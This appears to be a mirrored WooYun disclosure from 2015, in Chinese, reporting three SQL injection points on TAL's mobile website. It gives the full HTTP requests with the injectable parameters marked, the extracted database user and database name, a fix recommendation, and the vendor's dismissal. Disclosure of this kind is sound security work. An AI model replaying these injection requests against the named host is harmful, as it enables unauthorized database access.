乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-05: 细节已通知厂商并且等待厂商处理中 2015-11-10: 厂商已经主动忽略漏洞,细节向公众公开
注入
好未来集团手机官网SQL注入打包:第一处:
GET /Home/Index/wlzxhd_note?star_activity_id=* HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://m.100tal.com:80/Cookie: PHPSESSID=gs4rh80pj7jur6567j581roff2Host: m.100tal.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*star_activity_id参数存在注入
第二处:
GET /Home/Index/wlzxxm_note?star_project_id=* HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://m.100tal.com:80/Cookie: PHPSESSID=gs4rh80pj7jur6567j581roff2Host: m.100tal.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*star_project_id参数存在SQL注入
第三处:
GET /Index/aboutus_spbf?video_id=* HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://m.100tal.com:80/Cookie: PHPSESSID=gs4rh80pj7jur6567j581roff2Host: m.100tal.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*video_id参数存在sql注入
between参数current user: 'Tal'current database: '100talwgw'
参数过滤,参数化查询
危害等级:无影响厂商忽略
忽略时间:2015-11-10 09:46
漏洞Rank:4 (WooYun评价)
暂无